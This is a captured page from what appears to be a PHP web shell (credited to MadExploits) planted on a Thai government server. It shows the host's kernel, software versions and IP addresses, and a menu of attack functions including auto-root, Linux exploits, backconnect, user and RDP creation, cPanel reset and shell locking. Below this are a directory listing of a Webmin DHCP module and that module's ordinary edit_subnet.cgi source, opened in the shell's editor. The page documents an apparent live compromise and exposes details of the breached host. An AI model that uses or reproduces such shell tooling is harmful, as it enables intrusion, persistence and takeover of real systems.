Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
dhcpd /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
3.61
KB
-rw-r--r--
acl_security.pl
10.09
KB
-rwxr-xr-x
backup_config.pl
699
B
-rwxr-xr-x
cgi_args.pl
358
B
-rwxr-xr-x
config-Amazon-Linux-2-ALL
318
B
-rw-r--r--
config-CentOS-Linux-5
363
B
-rw-r--r--
config-CentOS-Linux-6.0-6.9
369
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
318
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
369
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
318
B
-rw-r--r--
config-Scientific-Linux-6.0-6....
369
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
342
B
-rw-r--r--
config-Ubuntu-Linux-12.04-ALL
371
B
-rw-r--r--
config-Ubuntu-Linux-8.10-10.04...
390
B
-rw-r--r--
config-cobalt-linux
223
B
-rw-r--r--
config-coherent-linux
363
B
-rw-r--r--
config-corel-linux
215
B
-rw-r--r--
config-debian-linux
318
B
-rw-r--r--
config-debian-linux-3.0
345
B
-rw-r--r--
config-debian-linux-3.1-5.9
377
B
-rw-r--r--
config-debian-linux-6.0-ALL
383
B
-rw-r--r--
config-freebsd
231
B
-rw-r--r--
config-freebsd-8-ALL
408
B
-rw-r--r--
config-generic-linux
212
B
-rw-r--r--
config-gentoo-linux
313
B
-rw-r--r--
config-hpux
227
B
-rw-r--r--
config-irix
208
B
-rw-r--r--
config-macos
208
B
-rw-r--r--
config-mandrake-linux
323
B
-rw-r--r--
config-msc-linux
223
B
-rw-r--r--
config-netbsd
215
B
-rw-r--r--
config-open-linux
212
B
-rw-r--r--
config-open-linux-3.1e
359
B
-rw-r--r--
config-openbsd
215
B
-rw-r--r--
config-openbsd-3.6-ALL
197
B
-rw-r--r--
config-openmamba-linux
212
B
-rw-r--r--
config-openserver
208
B
-rw-r--r--
config-osf1
208
B
-rw-r--r--
config-pardus-linux
311
B
-rw-r--r--
config-redhat-linux
212
B
-rw-r--r--
config-redhat-linux-13.1-19.0
364
B
-rw-r--r--
config-redhat-linux-20.0-23.0
369
B
-rw-r--r--
config-redhat-linux-24.0-ALL
372
B
-rw-r--r--
config-redhat-linux-6.0-6.2
223
B
-rw-r--r--
config-redhat-linux-7.0-13.0
363
B
-rw-r--r--
config-slackware-linux
218
B
-rw-r--r--
config-slackware-linux-4.0
224
B
-rw-r--r--
config-slackware-linux-7.1-ALL
223
B
-rw-r--r--
config-sol-linux
243
B
-rw-r--r--
config-solaris
208
B
-rw-r--r--
config-suse-linux
223
B
-rw-r--r--
config-suse-linux-7.1-7.3
221
B
-rw-r--r--
config-suse-linux-8.0
346
B
-rw-r--r--
config-suse-linux-8.2-9.1
359
B
-rw-r--r--
config-suse-linux-9.2-ALL
362
B
-rw-r--r--
config-trustix-linux
344
B
-rw-r--r--
config-turbo-linux
212
B
-rw-r--r--
config-united-linux
346
B
-rw-r--r--
config-unixware
244
B
-rw-r--r--
config.info
1.26
KB
-rw-r--r--
config.info.ca
1.44
KB
-rw-r--r--
config.info.ca.UTF-8
1.46
KB
-rw-r--r--
config.info.cz
1.13
KB
-rw-r--r--
config.info.cz.UTF-8
1.19
KB
-rw-r--r--
config.info.da
1.13
KB
-rw-r--r--
config.info.da.UTF-8
1.13
KB
-rw-r--r--
config.info.de
1.42
KB
-rw-r--r--
config.info.de.UTF-8
1.42
KB
-rw-r--r--
config.info.es
509
B
-rw-r--r--
config.info.es.UTF-8
513
B
-rw-r--r--
config.info.fa
1.73
KB
-rw-r--r--
config.info.fr
1.2
KB
-rw-r--r--
config.info.fr.UTF-8
1.2
KB
-rw-r--r--
config.info.ja_JP.UTF-8
1.29
KB
-rw-r--r--
config.info.ja_JP.euc
1019
B
-rw-r--r--
config.info.nl
1.34
KB
-rw-r--r--
config.info.nl.UTF-8
1.34
KB
-rw-r--r--
config.info.no
1.33
KB
-rw-r--r--
config.info.no.UTF-8
1.33
KB
-rw-r--r--
config.info.pl
1.33
KB
-rw-r--r--
config.info.pl.UTF-8
1.37
KB
-rw-r--r--
config.info.pt_BR
1.33
KB
-rw-r--r--
config.info.pt_BR.UTF-8
1.34
KB
-rw-r--r--
config.info.ru.UTF-8
1.06
KB
-rw-r--r--
config.info.ru_RU
721
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.06
KB
-rw-r--r--
config.info.ru_SU
721
B
-rw-r--r--
config.info.sk
1.2
KB
-rw-r--r--
config.info.sk.UTF-8
1.26
KB
-rw-r--r--
config.info.sv
383
B
-rw-r--r--
config.info.sv.UTF-8
394
B
-rw-r--r--
config.info.tr
241
B
-rw-r--r--
config.info.uk_UA
753
B
-rw-r--r--
config.info.uk_UA.UTF-8
1.09
KB
-rw-r--r--
config.info.zh_CN
162
B
-rw-r--r--
config.info.zh_CN.UTF-8
197
B
-rw-r--r--
config.info.zh_TW.Big5
1.18
KB
-rw-r--r--
config.info.zh_TW.UTF-8
1.02
KB
-rw-r--r--
confirm_delete.cgi
3.03
KB
-rwxr-xr-x
defaultacl
221
B
-rw-r--r--
delete_all.cgi
2.02
KB
-rwxr-xr-x
delete_hosts.cgi
1.57
KB
-rwxr-xr-x
delete_leases.cgi
1.04
KB
-rwxr-xr-x
delete_subnets.cgi
1.58
KB
-rwxr-xr-x
dhcpd-lib.pl
25.75
KB
-rwxr-xr-x
edit_group.cgi
7.14
KB
-rwxr-xr-x
edit_host.cgi
10.03
KB
-rwxr-xr-x
edit_iface.cgi
3.42
KB
-rwxr-xr-x
edit_keys.cgi
1.61
KB
-rwxr-xr-x
edit_options.cgi
9.08
KB
-rwxr-xr-x
edit_pool.cgi
3.32
KB
-rwxr-xr-x
edit_shared.cgi
5.64
KB
-rwxr-xr-x
edit_subnet.cgi
6.48
KB
-rwxr-xr-x
edit_text.cgi
869
B
-rwxr-xr-x
edit_zones.cgi
1.8
KB
-rwxr-xr-x
index.cgi
20.24
KB
-rwxr-xr-x
install_check.pl
557
B
-rwxr-xr-x
list_leases.cgi
8.75
KB
-rwxr-xr-x
log_parser.pl
1003
B
-rwxr-xr-x
lookup_group.cgi
1.02
KB
-rwxr-xr-x
lookup_host.cgi
2.1
KB
-rwxr-xr-x
lookup_shared.cgi
915
B
-rwxr-xr-x
lookup_subnet.cgi
969
B
-rwxr-xr-x
module.info
464
B
-rw-r--r--
module.info.ca
102
B
-rw-r--r--
module.info.ca.UTF-8
114
B
-rw-r--r--
module.info.cz
20
B
-rw-r--r--
module.info.cz.UTF-8
26
B
-rw-r--r--
module.info.de
114
B
-rw-r--r--
module.info.de.UTF-8
126
B
-rw-r--r--
module.info.es
25
B
-rw-r--r--
module.info.es.UTF-8
31
B
-rw-r--r--
module.info.fr
21
B
-rw-r--r--
module.info.fr.UTF-8
27
B
-rw-r--r--
module.info.ja_JP.UTF-8
32
B
-rw-r--r--
module.info.ja_JP.euc
27
B
-rw-r--r--
module.info.ko_KR.UTF-8
30
B
-rw-r--r--
module.info.ko_KR.euc
26
B
-rw-r--r--
module.info.ms_MY
105
B
-rw-r--r--
module.info.ms_MY.UTF-8
117
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.UTF-8
26
B
-rw-r--r--
module.info.no
20
B
-rw-r--r--
module.info.no.UTF-8
26
B
-rw-r--r--
module.info.pl
105
B
-rw-r--r--
module.info.pl.UTF-8
120
B
-rw-r--r--
module.info.pt
25
B
-rw-r--r--
module.info.pt.UTF-8
31
B
-rw-r--r--
module.info.ru.UTF-8
32
B
-rw-r--r--
module.info.ru_RU
23
B
-rw-r--r--
module.info.ru_RU.UTF-8
35
B
-rw-r--r--
module.info.ru_SU
23
B
-rw-r--r--
module.info.sk
20
B
-rw-r--r--
module.info.sk.UTF-8
26
B
-rw-r--r--
module.info.sv
20
B
-rw-r--r--
module.info.sv.UTF-8
26
B
-rw-r--r--
module.info.tr
22
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
28
B
-rw-r--r--
params-lib.pl
5.96
KB
-rwxr-xr-x
rbac-mapping
69
B
-rw-r--r--
restart.cgi
364
B
-rwxr-xr-x
save_group.cgi
3.89
KB
-rwxr-xr-x
save_host.cgi
5.42
KB
-rwxr-xr-x
save_iface.cgi
3.44
KB
-rwxr-xr-x
save_keys.cgi
1.11
KB
-rwxr-xr-x
save_options.cgi
8.15
KB
-rwxr-xr-x
save_pool.cgi
2.51
KB
-rwxr-xr-x
save_shared.cgi
6.1
KB
-rwxr-xr-x
save_subnet.cgi
6.2
KB
-rwxr-xr-x
save_text.cgi
717
B
-rwxr-xr-x
save_zones.cgi
1.73
KB
-rwxr-xr-x
start.cgi
343
B
-rwxr-xr-x
stop.cgi
321
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_subnet.cgi
#!/usr/bin/perl # edit_subnet.cgi # Edit or create a subnet require './dhcpd-lib.pl'; require './params-lib.pl'; &ReadParse(); $conf = &get_config(); ($par, $sub) = &get_branch('sub'); $mems = $par->{'members'}; $sconf = $sub->{'members'}; # check acls %access = &get_module_acl(); &error_setup($text{'eacl_aviol'}); if ($in{'new'}) { &error("$text{'eacl_np'} $text{'eacl_pis'}") unless &can('c', \%access, $sub) && &can('rw', \%access, $par); } else { &error("$text{'eacl_np'} $text{'eacl_pss'}") if !&can('r', \%access, $sub); } # display if ($in{'sidx'} ne "") { local $s = $conf->[$in{'sidx'}]; $desc = &text('ehost_shared', $s->{'values'}->[0]); } &ui_print_header($desc, $in{'new'} ? $text{'esub_crheader'} : $text{'esub_edheader'}, ""); foreach $s (&find("shared-network", $conf)) { if ($in{'sidx'} eq $s->{'index'}) { $s_parent = $s; } } print &ui_form_start("save_subnet.cgi", "post"); print &ui_hidden("ret",$in{'ret'}); print &ui_table_start($text{'esub_tabhdr'}, "width=100%", 4); print "<tr><td valign=middle><b>$text{'esub_desc'}</b></td>\n"; print "<td valign=middle colspan=3>"; print &ui_textbox("desc", ( $sub ? &html_escape($sub->{'comment'}) : "" ), 60); print "</td>"; print "</tr>"; print "<tr><td valign=middle><b>$text{'esub_naddr'}</b></td>\n"; print "<td valign=middle>"; print &ui_textbox("network", ( $sub ? $sub->{'values'}->[0] : "" ), 25); print "</td>"; print "<td valign=middle><b>$text{'esub_nmask'}</b></td>\n"; print "<td valign=middle>"; print &ui_textbox("netmask", ( $sub ? $sub->{'values'}->[2] : "" ), 25); print "</td>"; print "</tr>"; @range = $sub ? &find("range", $sub->{'members'}) : (); print "<tr><td valign=middle><b>$text{'esub_arange'}</b></td><td valign=middle colspan=3>\n"; for($i=0; $i<=@range; $i++) { $r = $range[$i]; my $dyn = ($r->{'values'}->[0] eq "dynamic-bootp"); print &ui_textbox("range_low_".$i, $r->{'values'}->[$dyn], 15); print " - "; print &ui_textbox("range_hi_".$i, $r->{'values'}->[$dyn+1], 15); print " "; print &ui_checkbox("range_dyn_".$i, 1, $text{'esub_dbooptpq'}, ($dyn ? 1 : 0 ) ); } print "</td></tr>\n"; if (!defined($in{'ret'})) { print "<tr><td valign=middle><b>$text{'esub_shnet'}</b></td>\n"; print "<td valign=middle>"; my @shn; push(@shn, [ "", "<$text{'esub_none'}>" ]); foreach $s (&find("shared-network", $conf)) { push(@shn, [ $s->{'index'}, ( &can('rw', \%access, $s) ? $s->{'values'}->[0] : "" ) ]); } print &ui_select("parent", $s_parent ? $s_parent->{'index'} : "", \@shn); print "</td>\n"; } else { print "<tr>"; print "<td>".&ui_hidden("parent",$s_parent->{'index'})." </td><td> </td>\n"; } &display_params($sconf, "subnet"); foreach $h (&find("host", $mems)) { push(@host, $h); # if &can('r', \%access, $h); } foreach $g (&find("group", $mems)) { push(@group, $g); # if &can('r', \%access, $g); } foreach $s (&find("subnet", $mems)) { foreach $h (&find("host", $s->{'members'})) { push(@host, $h); # if &can('r', \%access, $h); $insubn{$h} = $s->{'index'}; } foreach $g (&find("group", $s->{'members'})) { push(@group, $g); # if &can('r', \%access, $g); $insubn{$g} = $s->{'index'}; } } @host = sort { $a->{'values'}->[0] cmp $b->{'values'}->[0] } @host; # @group = sort { @{$a->{'members'}} <=> @{$b->{'members'}} } @group; print "<tr><td valign=top><b>$text{'esub_hosts'}</b></td>\n"; print "<td valign=top>"; my @esub_hosts_sel; foreach $h (@host) { next if !&can('r', \%access, $h); push(@esub_hosts_sel, [$h->{'index'}.",".$insubn{$h}, $h->{'values'}->[0], ( (!$in{'new'}) && $insubn{$h} eq $sub->{'index'} ? "selected" : "" ) ] ); } print &ui_select("hosts", undef, \@esub_hosts_sel, 3, 1); print "</td>\n"; print "<td valign=top><b>$text{'esub_groups'}</b></td>\n"; print "<td valign=top>"; my @esub_groups_sel; foreach $g (@group) { my $gm = 0; next if !&can('r', \%access, $g); foreach $h (@{$g->{'members'}}) { if ($h->{'name'} eq "host") { $gm++; } } push(@esub_groups_sel, [$g->{'index'}.",".$insubn{$g}, &group_name($gm, $g), ( (!$in{'new'}) && $insubn{$g} eq $sub->{'index'} ? "selected" : "" ) ] ); } print &ui_select("groups", undef, \@esub_groups_sel, 3, 1); print "</td>\n"; if (!$in{'new'}) { # inaccessible hosts in this subnet foreach $h (@host) { if (!&can('r', \%access, $h) && $insubn{$h} eq $sub->{'index'}) { print &ui_hidden("hosts","$h->{'index'},$sub->{'index'}"); } } # inaccessible groups in this subnet foreach $g (@group) { if (!&can('r', \%access, $g) && $insubn{$g} eq $sub->{'index'}) { print &ui_hidden("groups","$g->{'index'},$sub->{'index'}"); } } } print &ui_table_end(); print &ui_hidden("sidx", $in{'sidx'}); if (!$in{'new'}) { # Show buttons for existing subnet print &ui_hidden("idx", $in{'idx'}); print "<table width=100%><tr>\n"; print "<td>"; print &ui_submit($text{'save'}) if &can('rw', \%access, $sub); print "</td>"; print "<td align=center>"; print &ui_submit( (&can('rw', \%access, $sub) ? $text{'butt_eco'} : $text{'butt_vco'} ), "options"); print "</td>"; if ($access{'r_leases'}) { print "<td align=center>"; print &ui_submit($text{'butt_leases'},"leases"); print "</td>"; } print "<td align=right>"; print &ui_submit($text{'delete'}, "delete") if &can('rw', \%access, $sub, 1); print "</td>"; print "</tr></table>\n"; print &ui_link("edit_host.cgi?new=1&sidx=$in{'sidx'}&uidx=$in{'idx'}&ret=subnet", $text{'index_addhst'})." " if &can('rw', \%access, $sub); print &ui_link("edit_group.cgi?new=1&sidx=$in{'sidx'}&uidx=$in{'idx'}&ret=subnet", $text{'index_addhstg'}) if &can('rw', \%access, $sub); } else { # Show create button for new subnet print &ui_hidden("new", "1"); print "<br>"; print &ui_submit($text{'create'}); } if ($config{'dhcpd_version'} >= 3 && !$in{'new'}) { # Display address pools print &ui_hr(); print &ui_subheading($text{'esub_pools'}); my $pn = 1; foreach $p (&find('pool', $sconf)) { push(@links, "edit_pool.cgi?uidx=$in{'idx'}&sidx=$in{'sidx'}&idx=$p->{'index'}"); push(@titles, &text('esub_pool', $pn)); push(@icons, "images/pool.gif"); $pn++; } if ($pn == 1) { print "$text{'esub_poolnone'}<p>\n"; } else { &icons_table(\@links, \@titles, \@icons, 5); } print &ui_link("edit_pool.cgi?uidx=$in{'idx'}&sidx=$in{'sidx'}&new=1",$text{'esub_pooladd'}); } print &ui_form_end(); print "<br>"; if ($in{'ret'} eq "shared") { &ui_print_footer("edit_shared.cgi?idx=$in{'sidx'}", $text{'esub_retshar'}); } else { &ui_print_footer("", $text{'esub_return'}); }
Close